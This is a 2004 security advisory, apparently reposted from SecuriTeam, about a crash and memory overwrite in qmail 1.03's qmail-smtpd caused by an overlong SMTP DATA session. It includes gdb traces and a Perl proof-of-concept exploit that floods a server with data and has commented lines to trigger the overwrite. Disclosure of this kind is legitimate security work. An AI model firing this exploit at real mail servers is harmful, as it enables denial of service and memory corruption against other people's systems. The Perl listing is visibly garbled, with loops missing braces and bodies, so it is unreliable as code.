[UNIX] Qmail Crash and Memory Overwrite After Long SMTP Session

From: SecuriTeam (support_at_securiteam.com)
Date: 01/19/04

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    Date: 19 Jan 2004 12:49:40 +0200

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      Qmail Crash and Memory Overwrite After Long SMTP Session


     <http://www.qmail.org/> Qmail is "a modern SMTP server that is comprised
    of several modules". Due to a bug in the smtpd module it is possible to
    cause it to crash after a long SMTP session. The crash is not global and
    will only affect the current SMTP session. There is a risk of a potential
    buffer overflow in the smtpd module.


    Vulnerable Software:
     * qmail 1.03 on Linux (or prior), possibly on other operating systems

    Overflow of the 'pos' variable:
    Due to a bug in the void blast(hops) function, a segmentation fault
    (SIGSEGV) can be triggered on Linux using a long SMTP input. Specifically,
    the 'pos' variable is being incremented while bounds or range limits are
    not enforced. Thus, when 'pos' gets sufficiently large it overflows and
    becomes negative, making the check (pos<9) pass even though 'pos' is
    really larger than 0x80000000.

    A code snippet from the void blast(hops) function is presented below:

    void blast(hops)
    int *hops;
    int pos; /* number of bytes since most recent \n, if fih */
       if (pos < 9) {
            if (ch != "delivered"[pos]) if (ch != "DELIVERED"[pos]) flagmaybez
    = 0;

    Running the Proof-of-Concept perl code gives the following results:
    /qma4.pl localhost 25
    qmail-smtpd SEGV. Written by Georgi Guninski
    Will connect to localhost:25 fromaddr=they@sux.org touser=postmaster

    <in another console>
    ps awx | grep qmail-smtpd
    1810 ? R 0:06 qmail-smtpd

    gdb attach 1810
    GNU gdb
    (gdb) cont
    Program received signal SIGSEGV, Segmentation fault.
    0x0804937c in blast (hops=0xbffffd8c) at qmail-smtpd.c:321
    321 if (ch != "delivered"[pos]) if (ch != "DELIVERED"[pos])
    flagmaybez = 0;
    (gdb) p pos
    $1 = -2147483648
    (gdb) p/x pos
    $2 = 0x80000000

    Memory Overflow:
    A memory overflow exists in the smtpd module that can be triggered using
    the attached PoC code by uncomment the #'s. This causes the 'len' variable
    to become exceedingly large as shown below:

    GNU gdb
    Attaching to process 1780
    Reading symbols from /var/qmail/bin/qmail-smtpd...done.
    Reading symbols from /lib/libc.so.6...done.
    Loaded symbols for /lib/libc.so.6
    Reading symbols from /lib/ld-linux.so.2...done.
    Loaded symbols for /lib/ld-linux.so.2
    0x401026c8 in read () from /lib/libc.so.6
    (gdb) cont
    Program received signal SIGPIPE, Broken pipe.
    0x40102748 in write () from /lib/libc.so.6
    #0 0x40102748 in write () from /lib/libc.so.6
    #1 0x00000400 in ?? ()
    #2 0x0804bb81 in substdio_flush (s=0x804eae4) at substdo.c:35
    #3 0x0804bc1e in substdio_put (s=0x4, buf=0xbffffd5b "g\030",
     at substdo.c:64 <<< NOTE THE VALUE OF 'len'
    #4 0x0804ab58 in qmail_put (qq=0x804eac0, s=0xbffffd5b "g\030", len=1)
     at qmail.c:56
    #5 0x08049309 in put (ch=0xbffffd5b "g\030") at qmail-smtpd.c:290
    #6 0x0804941d in blast (hops=0xbffffd8c) at qmail-smtpd.c:360
    #7 0x08049669 in smtp_data () at qmail-smtpd.c:393
    #8 0x08049a66 in commands (ss=0x804d09c, c=0x804d0c0) at commands.c:37
    #9 0x080497c5 in main () at qmail-smtpd.c:430
    #10 0x40042917 in __libc_start_main () from /lib/libc.so.6
    (gdb) frame 2
    #2 0x0804bb81 in substdio_flush (s=0x804eae4) at substdo.c:35
    35 return allwrite(s->op,s->fd,s->x,p);
    (gdb) p *s
    $1 = {x = 0x67676767 "", p = 1734829927, n = 1734829927, fd = 1734829927,
     op = 0x67676767}

    It can be seen from the output of gdb that it is possible to overwrite
    buffers and inject any user-supplied payload, shown here in the form of
    0x67676767's pointed to by s->op.

    Proof of concept:
    #!/usr/bin/perl -w

    #Copyright Georgi Guninski\nCannot be used in vulnerability databases and
    #similar stuff

    use IO::Socket;

    my $port = $ARGV[1];
    my $host = $ARGV[0];

    my $socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort =>
    $port,Proto => "TCP") || die "socket";

    my $req = "HELO a\r\n";
    my $fromaddr="they\@sux.org";
    my $touser="postmaster";

    print "qmail-smtpd SEGV. Copyright Georgi Guninski\nCannot be used in
    vulnerability databases and similar stuff\nWill connect to ${host}:${port}
    fromaddr=${fromaddr} touser=${touser}\n";

    $req .= "MAIL FROM: ${fromaddr}\r\n";
    $req .= "RCPT TO: ${touser}\r\n";

    $req .= "DATA\r\n";

    $req .= "1234567890";

    #my $x = "\ng" x 100;
    #print $x;


    my $l1= 1024*1024;
    my $p1 = "gg" x $l1;
    my $pl = 2*$l1;
    print "length=${pl}\n";
    my $towrite = $l1*2050;
    my $wri = 0;
    $req = $p1;
    while ($wri < $towrite)
    if ( ($wri % $l1) == 0) {print "written=" . $wri/$l1 . "\n";}
    # !!! uncomment the following lines to get qmail memory screw on linux
    according to gdb
    #if ($wri/$l1 == 2044)
    #syswrite($socket,"g\r\n",3);print "injected\n";
    $wri += $pl;

    $req = "test\r\n";
    $req .= ".\r\n";


    while(< $socket>)
    print $_;

    close $socket;


    The information has been provided by <mailto:guninski@guninski.com>
    Georgi Guninski.

    The original advisory is available from:


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